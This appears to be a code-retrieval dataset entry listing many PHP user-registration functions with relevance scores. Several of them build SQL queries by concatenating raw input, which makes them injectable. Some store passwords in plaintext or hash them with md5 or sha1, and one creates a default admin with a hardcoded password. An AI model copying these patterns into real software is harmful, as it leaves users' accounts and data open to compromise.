password e email se non forniti\n if(isset($request['genera_email'])){\n $user = new User;\n $email = \"\";\n do{\n $email = str_random(20);\n $user = User::where([['email', $email.'@segresta.it'], ['username', $email]])->get();\n }while(count($user)>0);\n\n $request['email'] = $email.'@segresta.it';\n $request['username'] = $email;\n }\n\n if(isset($request['genera_password'])){\n $request['password'] = str_random(40);\n }\n\n $this->validate($request, [\n 'name' => 'required',\n 'cognome' => 'required',\n 'nato_il' => 'required|date_format:d/m/Y',\n 'nato_a' => 'required',\n 'email' =>'required|unique:users',\n 'username' => 'required|unique:users',\n 'password' => 'required'\n ]);\n $input = $request->all();\n $date = Carbon::createFromFormat('d/m/Y', $input['nato_il']);\n if(Input::hasFile('photo')){\n $file = $request->photo;\n $filename = $request->photo->store('profile', 'public');\n $path = Storage::disk('public')->getDriver()->getAdapter()->getPathPrefix().$filename;\n $image = Image::make($path);\n $image->resize(500,null, function ($constraint) {$constraint->aspectRatio();});\n $image->save($path);\n $input['photo'] = $filename;\n }\n $input['password'] = Hash::make($input['password']);\n //salvo l'utente\n $user = User::create($input);\n //salvo il link utente-oratorio\n $orat = new UserOratorio;\n $orat->id_user=$user->id;\n $orat->id_oratorio = Session::get('session_oratorio');\n $orat->save();\n\n //salvo attributi\n $i=0;\n if(isset($input['id_attributo']) && count($input['id_attributo'])>0){\n foreach($input['id_attributo'] as $id) {\n $attrib = AttributoUser::create(['id_user' => $user->id, 'id_attributo' => $id, 'valore' => $input['attributo'][$i]]);\n $i++;\n }\n }\n\n //aggiungo il ruolo\n $roles = Role::where([['name', 'user'], ['id_oratorio', Session::get('session_oratorio')]])->get();\n if(count($roles)>0){\n //creo il ruolo\n $role = new RoleUser;\n $role->user_id = $user->id;\n $role->role_id = $roles[0]->id;\n $role->save();\n }\n Session::flash('flash_message', 'Utente aggiunto!');\n return redirect()->route('user.index');\n }", "title": "" }, { "docid": "2be8bbbea0365e0443e3dfa103924a3c", "score": "0.6662228", "text": "protected function createDefaultUser() {\n User::create([\n 'name' => 'Admin',\n 'puntaje' => 1,\n 'lastname' => 'Admin',\n 'nacimiento' => Carbon::now(),\n 'fecha_visita' => Carbon::now(),\n 'email' => 'admin@admin.com',\n 'equipo_id' => 1,\n 'password' => Hash::make('123456789')\n ]); \n }", "title": "" }, { "docid": "7468a97c88573f04af32c84ec939bc20", "score": "0.66552603", "text": "public function addNewUser(string $login, string $heslo, string $jmeno, string $email, int $idPravo = 4){\r\n // hlavicka pro vlozeni do tabulky uzivatelu\r\n //$insertStatement = \"login, heslo, jmeno, email, id_pravo\";\r\n // hodnoty pro vlozeni do tabulky uzivatelu\r\n\r\n $login = htmlspecialchars($login);\r\n $heslo = htmlspecialchars($heslo);\r\n $jmeno = htmlspecialchars($jmeno);\r\n $email = htmlspecialchars($email);\r\n\r\n //$insertValues = \"'$login', '$heslo', '$jmeno', '$email', $idPravo\";\r\n // provedu dotaz a vratim jeho vysledek\r\n //return $this->insertIntoTable(TABLE_USER, $insertStatement, $insertValues);\r\n\r\n $q = \"INSERT INTO \".TABLE_USER.\"(login, heslo, jmeno, email, id_pravo) \r\n VALUES (:login, :heslo, :jmeno, :email, :id_pravo)\";\r\n $vystup = $this->pdo->prepare($q);\r\n $vystup->bindValue(\":login\", $login);\r\n $vystup->bindValue(\":heslo\", $heslo);\r\n $vystup->bindValue(\":jmeno\", $jmeno);\r\n $vystup->bindValue(\":email\", $email);\r\n $vystup->bindValue(\":id_pravo\", $idPravo);\r\n return $vystup->execute();\r\n }", "title": "" }, { "docid": "738a1ea814f3b6d4ab55a99844f8b9a8", "score": "0.6654172", "text": "public function createUser(Request $request){\n\n $this->validate($request, [\n 'username' => 'required|max:255|unique:Login',\n 'role' => 'required',\n 'password' => 'required|min:6|confirmed',\n ]);\n\n $user = new User;\n\n $user->id = $request->id;\n $user->username = $request->username;\n $user->role = $request->role;\n $user->password = Hash::make($request->password);\n\n $user->save();\n\n //return redirect()->action('RozcestiController@rozcesti');\n return \\Redirect::to('/rozcesti')->with('success', true)->with('message','Uživatel úspěšně přidán.');\n }", "title": "" }, { "docid": "8c7d68e2cd4b3ddee8c1bea39d00a1ab", "score": "0.66417944", "text": "public function save()\n {\n if (isset($_POST)) {\n \n #Validación Basica\n $nombre = isset($_POST['nombre']) ? $_POST['nombre'] : false;\n $apellidos = isset($_POST['apellidos']) ? $_POST['apellidos'] : false;\n $email = isset($_POST['email']) ? $_POST['email'] : false;\n $password = isset($_POST['password']) ? $_POST['password'] : false;\n\n if ($nombre && $apellidos && $email && $password) {\n #llamar al metodo save del modelo\n $usuario = new Usuario();\n\n #Pasar datos al modelo\n $usuario->setNombre($nombre);\n $usuario->setApellidos($apellidos);\n $usuario->setEmail($email);\n $usuario->setPassword($password);\n\n #guardar en BD\n $save = $usuario->save();\n\n if ($save) {\n #Crear una sesión\n $_SESSION['register'] = \"complete\";\n //echo \"<h4>Usuario Registrado Correctamente!!</h4>\";\n }else {\n #Crear una Sesión\n $_SESSION['register'] = \"failed\";\n //echo \"<h4>Error!! Fallo al registrar usuario</h4>\"; \n }\n } else {\n $_SESSION['register'] = \"failed\";\n }\n \n header(\"Location:\".base_url.'usuario/registro'); #Redirige al registro\n }\n }", "title": "" }, { "docid": "3114475204d993bacafe8454904adfaa", "score": "0.6638762", "text": "public function crearUsuarioAdministrador(Request $request) {\n self::verificarUsuarioAdministrador();//Verifica que el usuario logueado sea administrador\n if($request->isMethod('post')) {\n $datos = $request->all();\n // Obtener cantidad de usuarios con el mismo correo\n $cuentaUsuario = User::where('email', $datos['correo'])->count();\n if ($cuentaUsuario > 0) {\n // El correo ingresado ya existe\n return redirect('/admin/crearAdmin')->with('flash_message_error', '¡El correo introducido ya existe!');\n } else {\n // Creación de nuevo usuario administrador\n $usuario = new User;\n $usuario->name = $datos['nombre'];\n $usuario->email = $datos['correo'];\n $usuario->password = bcrypt($datos['ctr_nueva']);\n $usuario->admin = '1';\n $usuario->save();\n return redirect('/admin/crearAdmin')->with('flash_message_success', '¡Se ha creado un nuevo Administrador!');\n }\n }\n return view('admin.crearAdmin');\n }", "title": "" }, { "docid": "6f012759aeeda9e8d945f95eec489ded", "score": "0.66369545", "text": "function add_authuser($nombre,$apellido,$login,$pass,$tipo,$status,$email)\n\t{\n\t\t$query = \"INSERT INTO authuser (nombre,apellido,login,pass,email,tipo,status) \n\t\t\t\t VALUES ('$nombre','$apellido','$login','$pass','$email','$tipo','$status')\";\n\t\t$result=mysql_query($query);\n\t\t$new_pet_id = mysql_insert_id();\n\t\treturn $new_pet_id;\n\t}", "title": "" }, { "docid": "8defb2048d011b0f9ad9c529390aec83", "score": "0.6635016", "text": "function agregar($nombre,$correo,$usuario,$rol,$zonah,$estado,$psw)\n {\n $Valores = \"'\".$usuario.\"','\".$psw.\"','\".$nombre.\"','\".$correo.\"',\".$estado.\",\".$zonah.\",\".$rol;\n $this->Insertar(\"usuarios\",\"usuario,password,nombre,correo,activo,zonashorarias_id,roles_id\",$Valores);\n }", "title": "" }, { "docid": "c9b309dbe76412ae7fe864c01232cccf", "score": "0.6633254", "text": "public function create(Request $request)\n {\n //creating a validator\n $validator = Validator::make($request->all(), [\n 'Id_Historia_Antecedentes' => 'required|unique:Historia_antecedentes',\n 'Numero_Expediente' => 'required',\n 'Codigo_Historia_Laboral' => 'required',\n 'Fecha_Inicio' => 'required',\n 'Fecha_Conclusion' => 'required',\n 'Años_Trabajados' => 'required',\n 'Puesto_Trabajo' => 'required'\n \n ]);\n \n //if validation fails \n if ($validator->fails()) {\n return array(\n 'error' => true,\n 'message' => $validator->errors()->all()\n );\n }\n \n //creating a new user\n $historia_antecedentes = new Historia_antecedentes();\n \n //adding values to the users\n $historia_antecedentes->Id_Historia_Antecedentes = $request->input('Id_Historia_Antecedentes');\n $historia_antecedentes->Numero_Expediente = $request->input('Numero_Expediente');\n $historia_antecedentes->Codigo_Historia_Laboral = $request->input('Codigo_Historia_Laboral');\n $historia_antecedentes->Fecha_Inicio = $request->input('Fecha_Inicio');\n $historia_antecedentes->Fecha_Conclusion = $request->input('Fecha_Conclusion');\n $historia_antecedentes->Años_Trabajados = $request->input('Años_Trabajados');\n $historia_antecedentes->Puesto_Trabajo = $request->input('Puesto_Trabajo');\n \n //saving the user to database\n $historia_antecedentes->save();\n \n //unsetting the password so that it will not be returned \n // unset($user->password);\n \n //returning the registered user \n return array('error' => false, 'historia_antecedentes' => $historia_antecedentes);\n }", "title": "" }, { "docid": "ed02972bdd0700a45f3a6ab5e25581a8", "score": "0.662351", "text": "private function crearUsuario(){\n \t\t#valida que la solicitud sea mediante un post \n\t if ($_SERVER['REQUEST_METHOD'] != \"POST\") {\n\t \t//envia un error \n\t $this->mostrarRespuesta($this->convertirJson($this->devolverError(1)), 405); \n\t }\n\t //valida que los datos a incorporar no sean vacios \n\t if (isset($this->datosPeticion['nombre'], $this->datosPeticion['email'], $this->datosPeticion['pwd'])){\n\t $nombre = $this->datosPeticion['nombre']; \n\t $pwd = $this->datosPeticion['pwd']; \n\t $email = $this->datosPeticion['email'];\n\n\t //valida la existemcia del usuario mediante el email \n\t if (!$this->existeUsuario($email)){ \n\t $query = $this->_conn->prepare(\n\t \t\"INSERT into usuario (nombre,email,password,fRegistro) \n\t \t VALUES (:nombre, :email, :pwd, NOW())\");\n\t //se le asignan los valores a las variables de la consulta \n\t $query->bindValue(\":nombre\", $nombre); \n\t $query->bindValue(\":email\", $email); \n\t $query->bindValue(\":pwd\", sha1($pwd)); \n\t $query->execute(); \n\t if ($query->rowCount() == 1){ // se inserto bien \n\t $id = $this->_conn->lastInsertId(); \n\t $respuesta['estado'] = 'correcto'; \n\t $respuesta['msg'] = 'usuario creado correctamente'; \n\t $respuesta['usuario']['id'] = $id; \n\t $respuesta['usuario']['nombre'] = $nombre; \n\t $respuesta['usuario']['email'] = $email; \n\t $this->mostrarRespuesta($this->convertirJson($respuesta), 200); \n\t } else //se envia un error de insercion en la bd\n\t $this->mostrarRespuesta($this->convertirJson($this->devolverError(7)), 400); \n\t } else //se envia un error del usuario no existe\n\t $this->mostrarRespuesta($this->convertirJson($this->devolverError(8)), 400); \n\t } else { \n\t $this->mostrarRespuesta($this->convertirJson($this->devolverError(7)), 400); \n\t } \n\t}", "title": "" }, { "docid": "53285c3933f7cd7d979fd0567281dfd1", "score": "0.66093785", "text": "public function Nuevo(){\n\t\t$UsCg = new HomeController();\n\t\t$UsCdatos = array();\n\t\tarray_push($UsCdatos, $_POST[\"usuario\"]);\n\t\tarray_push($UsCdatos, $_POST[\"contrasena\"]);\n\t\t$UsCvalidado = $UsCg->ValidarNoVacio($UsCdatos);\n\t\tif ($UsCvalidado) {\n\t\t\t\t$UsCexiste = DB::table(\"coordinador\")->where(\"matriculac\",$_POST[\"contrasena\"])->first();\n\t\t\t\tif (!isset($UsCexiste) || $UsCexiste==null) {\n\t\t\t\t\t$UsCusuariosesion = DB::table(\"coordinador\")->insertGetId(array(\"nombre\" => $_POST[\"usuario\"], \"contrasena\" => $_POST[\"contrasena\"], \"matriculac\" => $_POST[\"contrasena\"]));\n\t\t\t\t}\n\t\t\t}\n\t\treturn Redirect::to(\"/inicio\"); \n\t}", "title": "" }, { "docid": "0b49d8aa441824827eeb8ae9d481dbc7", "score": "0.66090727", "text": "public function store()\n {\n $this->authorize('create', User::class);\n\n $validated = request()->validate([\n 'name' => 'required|string|max:255',\n 'username' => 'required|string|max:255|min:5|unique:users',\n 'email' => 'nullable|string|max:255|email|unique:users',\n 'password' => 'required|string|min:8',\n 'roles' => 'required|array',\n 'roles.*' => 'exists:roles,id',\n 'projects' => 'required|array|min:1',\n 'projects.*' => 'nullable|exists:projects,id',\n 'timezone' => 'required|timezone',\n 'phone' => 'nullable|string',\n ]);\n\n $user = User::make($validated);\n\n $user->password = Hash::make($validated['password']);\n $user->save();\n\n $user->roles()->sync($validated['roles']);\n $user->projects()->sync($validated['projects']);\n\n return redirect()->route('users.index')->with('message', 'Новый пользователь успешно создан!');\n }", "title": "" }, { "docid": "d20b6b98aa3de50f194b5fcbd356c826", "score": "0.66016114", "text": "public function create()\n {\n $usuario = Auth::user();\n if($usuario->usu_rol == 2){\n }\n return view('publico.registro_usuario');\n }", "title": "" }, { "docid": "a2faa46cfde29e2db1344aca80978e28", "score": "0.6601375", "text": "public function store(CreateusuarioRequest $request)\n {\n PermissionController::temPermissao('usuarios.update');\n $input = $request->all();\n\n $input['password'] = Hash::make($input['password']);\n\n $usuario = $this->usuarioRepository->create($input);\n\n DB::insert('insert into role_user (role_id, user_id, created_at, updated_at) values (?, ?, ?, ?)', [$request->nivelAcesso, $usuario->id, date(\"Y-m-d H:i:s\"), date(\"Y-m-d H:i:s\")]);\n\n Flash::success('Usuario salvo com sucesso.');\n\n return redirect(route('usuarios.index'));\n }", "title": "" }, { "docid": "1d300ff2f520b4a3c3c8a24f47515eda", "score": "0.65963733", "text": "public function NewUser(Request $request)\n {\n try {\n\n if ($request->name <> null &&\n $request->nick <> null &&\n $request->email <> null &&\n $request->telf <> null &&\n $request->pass <> null\n ) {\n $user = new User();\n\n $user->name = $request->name;\n $user->nick = $request->nick;\n $user->email = $request->email;\n $user->telf = $request->telf;\n $user->password = $request->pass;\n\n $user->save();\n\n return response()->json(\n\n $user\n ,\n 201\n );\n } else {\n return response()->json(\n [\n \"statusText\" => \"<h2>No se han introducido datos</h2>\",\n \"statusCode\" => \"<h1>406</h1>\"\n ],\n 406\n );\n }\n } catch (QueryException $e) {\n return response()->json(\n [\n \"Error found\" => $e,\n \"statusText\" => \"<h2>Usuario existente</h2>\",\n \"statusCode\" => \"<h1>409</h1>\"\n ],\n 409\n );\n }\n }", "title": "" }, { "docid": "6de87a75e4eb6b8ed4ebf2ab26d60c74", "score": "0.6594288", "text": "function new_user($firstName,$lastName,$email,$password){\t\n $salt = generate_salt();\n $encPassword = encrypt_password($password,$salt);\n\n //$user = create_user_object($firstName,$lastName,$email,$encPassword,$salt,$userType);\n save_user_info($firstName,$lastName,$email,$encPassword,$salt);\n \n return true;\n}", "title": "" }, { "docid": "f99e9ef9de2f7224a00421d1b7b2cf05", "score": "0.6591142", "text": "public function store(Request $request)\n {\n User::create(\n [ 'name' => $request['txtnombres'],\n 'email' => $request['email'], \n 'password' =>bcrypt($request['password']), \n 'apellido' => $request['txtapellidos'], \n 'cedula' => $request['txtcedula'], \n 'Fecha_Nacimiento' => $request['txtfechanac'], \n 'telefono_local' => $request['txttellocal'], \n 'telefono_movil' => $request['txttelmov'], \n 'direccion' => $request['txtdireccion'], \n 'idEstado' => $request['txtestado'], \n 'idCiudad' => $request['txtciudad'], \n 'id_estatusClient' => 2, \n 'id_GeneroClient' => $request['genero'], \n 'id_TipoDoc' => $request['tipodoc'], \n 'rolUsuario' => 3, \n ]\n );\n Session::flash('flash_message', 'Has sido registrado Exitosamente!');\n // bcrypt(sirve para encriptar)\n\t\t\t return redirect('/login')->with('message', 'Registro Exitoso');\n \n }", "title": "" }, { "docid": "3f758f50e5b71e92359eadab5ed51e23", "score": "0.65867436", "text": "public function create()\n\t{\n\t\tif (!isset($_POST) || empty($_POST))\n\t\t{\n\t\t\theader(\"Location: /myrecipe/users/registry\");\n\t\t\texit;\n\t\t}\n\t\t// TODO need to validate data\n\t\t$data = array('username' => $_POST['username'], 'password' => $_POST['password'], 'cpassword' => $_POST['cpassword'], 'email' => $_POST['email']);\n\t\t// validate the input data\n\t\t$errorArray = User::validates($data);\n\t\tif (count($errorArray))\n\t\t{\n\t\t\t// store errors in session and redirect\n\t\t\t$_SESSION['user'] = $data;\n\t\t\t$_SESSION['user']['errors'] = $errorArray;\n\t\t\theader(\"Location: /myrecipe/users/registry\");\n\t\t\texit;\n\t\t}\n\t\t// create a new user, assume all new users are not staff\n\t\t$values = array('username'=>$_POST['username'],'password'=>$_POST['password'],'email'=>$_POST['email'],'user_type'=>'1');\n\t\t$id = User::createUser($values);\n\t\t// log the user in\n\t\t$_SESSION['user']['id'] = $id;\n\t\t$_SESSION['user']['name'] = $_POST['username'];\n\t\t$_SESSION['user']['type'] = '1';\n\t\techo \"id = \" . $id;\n\t\theader(\"Location: /myrecipe/users/\" . $id);\n\t\texit;\n\t}", "title": "" }, { "docid": "a1582b2e25efe8af109dbd613b3e7197", "score": "0.65848815", "text": "private function insertUser(){\n\t\t$data['tipoUsuario'] = Seguridad::getTipo();\n\t\tView::show(\"user/insertForm\", $data);\n\t}", "title": "" }, { "docid": "f6bf51fc3cf72cf436b3b5f2d50ffbcd", "score": "0.65817714", "text": "private static function create()\n {\n getDb()->putUser(1, self::getDefaultAttributes());\n }", "title": "" }, { "docid": "f4def417c0d28c4ceb8a4e3fd49e128d", "score": "0.6579729", "text": "public function store(UsuarioCreateRequest $request)\n {\n User::create($request->all());\n return redirect('/usuario')->with('mensaje', 'Usuario creado exitosamente');\n }", "title": "" }, { "docid": "49cc461ec4d951b6ccbac256f9ece044", "score": "0.6573477", "text": "function createUser($nombre,$password){\n\t\t$creadoUsuario = false;\n //creamos la conexión\n $conexion = $this->conectarBD();\n //Escribimos la sentencia sql necesaria respetando los tipos de datos\n $sql = \"insert into usuarios (nombre_usuario,password_usuario)\n values ('\".$nombre.\"','\".$password.\"')\";\n //hacemos la consulta y la comprobamos\n $consulta = mysqli_query($conexion,$sql);\n if(!$consulta){\n echo \"No se ha podido insertar un nuevo usuario en la base de datos<br><br>\".mysqli_error($conexion);\n }\n\t\telse{\n\t\t\t$creadoUsuario = true;\n\t\t}\n //Desconectamos la base de datos\n $this->desconectarBD($conexion);\n //devolvemos el resultado de la consulta (true o false)\n return $creadoUsuario;\n }", "title": "" }, { "docid": "d51df442959574f85c0d57cc2b0d5b60", "score": "0.6571527", "text": "public function saveUser($nome,$email,$senha){\n \t$id = time();\n $nome = parent::escapeString($nome);\n $senha = md5(parent::escapeString($senha));\n $email = parent::escapeString($email);\n \t//fazer uma validação para ver se o usuario já não está cad\n \t$sql = \"insert into `usuarios` ( `id`,`nome`, `email`, `senha` ) values ('$id','$nome', '$email', '$senha')\"; \n return parent::executaQuery($sql);\n }", "title": "" }, { "docid": "9b1f39e35286e1aa2bdd92f7a6954914", "score": "0.65712506", "text": "public function addNewUser($args=array()){\n \n //conferimos se o email informado não esta em uso\n $sql = new Sql();\n $res = $sql->select('SELECT * FROM usuarios WHERE email_usuario = :email_usuario',array(':email_usuario'=>$args['email_usuario']));\n if(count($res)==0){\n \n //geramos uma chave de validacao com base no email do usuario\n //esta chave será utilizada para a ativação do cadastro dele\n $userKEY= encode($args['email_usuario']);\n \n $query = 'INSERT INTO usuarios (\n id_empresa, nome_usuario, sobrenome_usuario, email_usuario, \n pwd_usuario, permissao_usuario, dt_usuario, cod_ativacao_usuario, status_usuario) \n VALUES (\n :id_empresa, :nome_usuario, :sobrenome_usuario, :email_usuario,\n :pwd_usuario, :permissao_usuario, :dt_usuario, :cod_ativacao_usuario, :status_usuario)'; \n \n $params = array(\n ':id_empresa'=>UIDEMPRESA,\n ':nome_usuario'=>$args['nome_usuario'],\n ':sobrenome_usuario'=>$args['sobrenome_usuario'],\n ':email_usuario'=>$args['email_usuario'],\n ':pwd_usuario'=>mkpwd($args['password']),\n ':permissao_usuario'=>'cliente',\n ':dt_usuario'=>time(),\n ':cod_ativacao_usuario'=>$args['cod_ativacao'],\n ':status_usuario'=>0);\n \n \n $res = $sql->query($query,$params); \n \n return $res; \n }else{//SE EMAIL JA CADASTRADO RETORNA FALSE\n return 'erro1001';\n }\n \n }", "title": "" }, { "docid": "04d8c8c7ca4f20a17b02654def0abb64", "score": "0.6567298", "text": "private function registerNewUser()\n {\n if (empty($_POST['user_name'])) {\n $this->errors[] = \"Nome Vazio\";\n } elseif (empty($_POST['user_password_new']) || empty($_POST['user_password_repeat'])) {\n $this->errors[] = \"Senha Vazia\";\n } elseif ($_POST['user_password_new'] !== $_POST['user_password_repeat']) {\n $this->errors[] = \"Senha e repetir senha não são a mesma\";\n } elseif (strlen($_POST['user_password_new']) < 6) {\n $this->errors[] = \"Senha tem tamanho mínimo de 6 caracteres\";\n } elseif (strlen($_POST['user_name']) > 64 || strlen($_POST['user_name']) < 2) {\n $this->errors[] = \"Nome não pode ser menor que 2 ou maior que 64 caracteres\";\n } elseif (empty($_POST['user_email'])) {\n $this->errors[] = \"Email não pode ser vazio\";\n } elseif (strlen($_POST['user_email']) > 64) {\n $this->errors[] = \"Email não pode ser maior que 64 caracteres\";\n } elseif (!filter_var($_POST['user_email'], FILTER_VALIDATE_EMAIL)) {\n $this->errors[] = \"Seu email não está com um formato de email válido\";\n } elseif (!empty($_POST['user_name'])\n && strlen($_POST['user_name']) <= 64\n && strlen($_POST['user_name']) >= 2\n && !empty($_POST['user_email'])\n && strlen($_POST['user_email']) <= 64\n && filter_var($_POST['user_email'], FILTER_VALIDATE_EMAIL)\n && !empty($_POST['user_password_new'])\n && !empty($_POST['user_password_repeat'])\n && ($_POST['user_password_new'] === $_POST['user_password_repeat'])\n ) {\n // create a database connection\n $this->db_connection = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME, DB_PORT);\n\n // change character set to utf8 and check it\n if (!$this->db_connection->set_charset(\"utf8\")) {\n $this->errors[] = $this->db_connection->error;\n }\n\n // if no connection errors (= working database connection)\n if (!$this->db_connection->connect_errno) {\n\n // escaping, additionally removing everything that could be (html/javascript-) code\n $user_name = $this->db_connection->real_escape_string(strip_tags($_POST['user_name'], ENT_QUOTES));\n $user_email = $this->db_connection->real_escape_string(strip_tags($_POST['user_email'], ENT_QUOTES));\n\n $user_type = $_POST['tipo'];\n $user_inst_id = $_POST['instituicao'];\n \n if (!isset($_POST['matricula']))\n {\n $user_mat = \"\";\n }\n else\n {\n $user_mat = $this->db_connection->real_escape_string(strip_tags($_POST['matricula'], ENT_QUOTES));\n }\n $user_password = $_POST['user_password_new'];\n\n // crypt the user's password with PHP 5.5's password_hash() function, results in a 60 character\n // hash string. the PASSWORD_DEFAULT constant is defined by the PHP 5.5, or if you are using\n // PHP 5.3/5.4, by the password hashing compatibility library\n $user_password_hash = password_hash($user_password, PASSWORD_DEFAULT);\n\n // check if user or email address already exists\n $sql = \"SELECT * FROM users WHERE user_email = '\" . $user_email . \"';\";\n $query_check_user_email = $this->db_connection->query($sql);\n\n if ($query_check_user_email->num_rows == 1) {\n $this->errors[] = \"Desculpe, este email já está em uso.\";\n } else {\n // write new user's data into database\n $sql = \"INSERT INTO users (user_name, user_password_hash, user_email, user_type, inst_id, user_mat)\n VALUES('\" . $user_name . \"', '\" . $user_password_hash . \"', '\" . $user_email . \"', '\" . $user_type . \"', '\" . $user_inst_id . \"', '\" . $user_mat . \" ');\";\n $query_new_user_insert = $this->db_connection->query($sql);\n\n // if user has been added successfully\n if ($query_new_user_insert) {\n $this->messages[] = \"Sua conta foi criada com sucesso. Você pode logar agora.\";\n } else {\n $this->errors[] = \"Desculpe, seu registro falhou. Por favor volte e tente novamente.\";\n }\n }\n } else {\n $this->errors[] = \"Desculpe, sem conexão com o banco de dados.\";\n }\n } else {\n $this->errors[] = \"Um erro desconhecido aconteceu.\";\n }\n }", "title": "" }, { "docid": "2858e4d954ccd50d66fc0aed749a24bb", "score": "0.6565217", "text": "public function store(UserCreateRequest $request)\n {\n $user=$request['nombre'];\n $u=strtoupper($user[0]).strtolower($request['apellido']);\n User::create([\n 'nombre' => trim(strtoupper($request['nombre'])),\n 'apellido' => trim(strtoupper($request['apellido'])),\n 'ci' => $request['ci'],\n 'telef1' => $request['telef1'],\n 'telef2' => $request['telef2'],\n 'direccion' => trim(strtoupper($request['direccion'])),\n 'email' => trim(strtoupper($request['email'])),\n 'password' => bcrypt($u),\n 'name_user' => $u,\n 'rol' => $request['rol'],\n ]);\n Session::flash('message', 'Los datos se guardaron exitosamente');\n return Redirect::to('/usuario');\n }", "title": "" }, { "docid": "1765fcec498717d4a9b0107fe7041cda", "score": "0.6561589", "text": "function addUser($nome, $morada, $email, $telefone, $username, $password){\n\t\t$result = checkUsername($username); \n\t\t\n\t\tif(count($result) < 2){ //Não existe ninguém com este username\n\t\t\tglobal $conn;\n\t\t\t$stmt = $conn->prepare(\"INSERT INTO utilizador \n\t\t\t\t\t\t\t\t\tVALUES (DEFAULT, ? , ? , ? , ? , ? , ? ,false);\");\n\t\t\tif (!$stmt->execute(array($nome, $morada, $telefone, $username, $password, $email))) {\n\t\t\t return 1; // Erro a executar a query\n\t\t\t exit;\n\t\t\t}\n\t\t\treturn 0; //Correu tudo bem\t\n\t\t\treturn $query;\n\t\t}\n\t\telse\n\t\t\treturn 2; //Username já utilizado*/\n\t}", "title": "" }, { "docid": "678f93e12656d95bdb96d821989c5393", "score": "0.6561174", "text": "public function store(StoreRequestNewUser $request)\n {\n // dd($request);\n $user = new User();\n $user->name = $request->name;\n $user->lastname = $request->lastname;\n // 'password' => Hash::make($data['password']),\n $user->password = Hash::make($request->password);\n $user->email = $request->email;\n $user->save();\n Mail::to($request->email)->send(new CreateNewUser($user, $request->password));\n Session::flash('status_add_utilisateur', 'Employé créé avec succès.');\n return redirect()->route('admin');\n }", "title": "" }, { "docid": "b3299017723f635a2fc3e3a2f6318920", "score": "0.6559578", "text": "public function saveNewUser() {\n\t\t$db = $this->getDatabaseConnection();\n\n\t\t// Prepare the SQL\n\t\t$sql =\"INSERT INTO users (email, password, first_name, last_name, username)\n\t\t\t\tVALUES (:email, :password, :first_name, :last_name, :username)\";\n\n\t\t$statement = $db->prepare($sql);\n\n\t\t// Bind the form data to the SQL query\n\t\t$statement->bindValue(':email', $_POST['email']);\n\t\t$statement->bindValue(':password', $_POST['password']);\n\t\t$statement->bindValue(':first_name', $_POST['first_name']);\n\t\t$statement->bindValue(':last_name', $_POST['last_name']);\n\t\t$statement->bindValue(':username', $_POST['username']);\n\n\t\t// Run the query\n\t\t$result = $statement->execute();\n\n\t\t//Confirm tht it worked\n\t\tif( $result == true) {\n\t\t\t// Yay!\n\n\t\t\t$_SESSION['user_id'] = $db->lastInsertID();\n\t\t\t$_SESSION['privilege'] = 'user';\n\t\t\t$_SESSION['first_name'] = $_POST['first_name'];\n\t\t\t$_SESSION['last_name'] = $_POST['last_name'];\n\t\t\t$_SESSION['username'] = $_POST['username'];\n\t\t\t$_SESSION['email'] = $_POST['email'];\n\n\t\t\theader('Location: index.php?page=account');\n\t\t} else {\n\t\t\t// Uh oh...\n\t\t}\n\n\t\t//If it did, log the user in and redirect to their \n\t\t// new account page\n\t}", "title": "" }, { "docid": "d02ff1518348bb15bcba016f2f918066", "score": "0.6557349", "text": "public function save(){\n\t\tif($this->validateForms(Input::all()) === true){\n\t\t\t$user = new User();\n\t\t\t$user->username = Input::get('username');\n\t\t\t$user->password = Hash::make(Input::get('password'));\t\n\t\t\t$user->email = Input::get('email');\n\t\t\t$user->role_id = Input::get('rol');\n\t\t\t$user->enable = 1;\n\n\t\t\t$useradmin = new UsuarioAdmin();\n\t\t\t$useradmin->nombres = Input::get('nombres');\n\t\t\t$useradmin->apellidos = Input::get('apellidos');\n\t\t\t$useradmin->cargo = Input::get('cargo');\n\n\t\t\t$user->save();\n\t\t\t$user->usuarioadmin()->save($useradmin);\n\n\t\t\tSession::flash('message', 'Usuario Agregado');\n\t\t\treturn Redirect::back();\n\n\t\t}else{\n\t\t\treturn Redirect::back()->withErrors($this->validateForms(Input::all()))->withInput();\n\t\t}\n\t}", "title": "" }, { "docid": "5da346817a83157e5f799c77674c340e", "score": "0.65516615", "text": "function registrar(){\n\n\t\t\t\n\t\t$sql = \"INSERT INTO USUARIOS (\n\t\t\tlogin,\n\t\t\tpassword,\n\t\t\tnombre,\n\t\t\tapellidos,\n\t\t\temail,\n\t\t\tDNI,\n\t\t\ttelefono,\n\t\t\tFechaNacimiento,\n\t\t\tfotopersonal,\n\t\t\tsexo\n\t\t\t) \n\t\t\t\tVALUES (\n\t\t\t\t\t'\".$this->login.\"',\n\t\t\t\t\t'\".$this->password.\"',\n\t\t\t\t\t'\".$this->nombre.\"',\n\t\t\t\t\t'\".$this->apellidos.\"',\n\t\t\t\t\t'\".$this->email.\"',\n\t\t\t\t\t'\".$this->DNI.\"',\n\t\t\t\t\t'\".$this->telefono.\"',\n\t\t\t\t\t'\".$this->FechaNacimiento.\"',\n\t\t\t\t\t'\".$this->fotopersonal.\"',\n\t\t\t\t\t'\".$this->sexo.\"'\n\n\t\t\t\t\t)\";\n\t\t\t\t\t\t\t\t\n\t\tif (!$this->mysqli->query($sql)) { //Si la sentencia sql no devuelve información\n\t\t\treturn 'Error de gestor de base de datos';\n\t\t}\n\t\telse{\n\t\t\treturn 'Inserción realizada con éxito'; //si es correcta\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "277fe6516679236dcd1a9d391bf8afcb", "score": "0.65473425", "text": "public function createAction()\n {\n// $user =User::findByEmail($_POST['email']);\n// var_dump($user);\n $remember_me = isset($_POST['remember_me']);\n $user = User::authenticate($_POST['email'], $_POST['password']);\n if ($user) {\n Flash::addMessage('Login success');\n Auth::login($user, $remember_me);\n// session_regenerate_id(true);\n// $_SESSION['user_id'] = $user->id;\n// echo $_SESSION['user_id'];\n// die();\n// $this->redirect('/');\n\n $this->redirect(Auth::getReturnToPage());\n } else {\n Flash::addMessage('Đăng nhập thất bại, Vui lòng thử lại sau', Flash::WARNING);\n View::renderTemplate('Login/new.html', [\n 'email' => $_POST['email'],\n 'remember_me' => $remember_me\n ]);\n }\n }", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
